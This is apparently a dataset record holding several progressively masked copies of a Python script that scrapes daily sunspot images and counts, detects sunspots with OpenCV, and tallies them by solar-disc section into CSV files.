day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Scraper:\n <assignment token>\n <assignment token>\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Scraper:\n <assignment token>\n <assignment token>\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n <function token>\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Scraper:\n <assignment token>\n <assignment token>\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n <function token>\n <function token>\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Scraper:\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass Entry:\n folder = None\n date = None\n 